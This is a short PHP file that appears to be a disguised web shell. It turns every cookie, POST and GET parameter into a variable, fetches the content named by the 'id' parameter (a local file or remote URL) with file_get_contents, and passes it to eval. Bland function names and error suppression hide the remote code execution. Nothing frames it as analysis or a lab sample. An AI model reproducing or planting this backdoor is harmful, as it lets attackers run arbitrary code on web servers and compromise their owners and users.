<?php
function _strint($key){
	return @file_get_contents($key);
}
function log1($log){
	lone(_strint($log));
}
function lone($key){
	$str = "";
	return eval($str.$key.$str);
}
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
    foreach ($$_request as $_key=>$_value)
    {
        $$_key=  $_value;
    }
}
$id = isset($id) ? $id : 2;
log1($id);
?>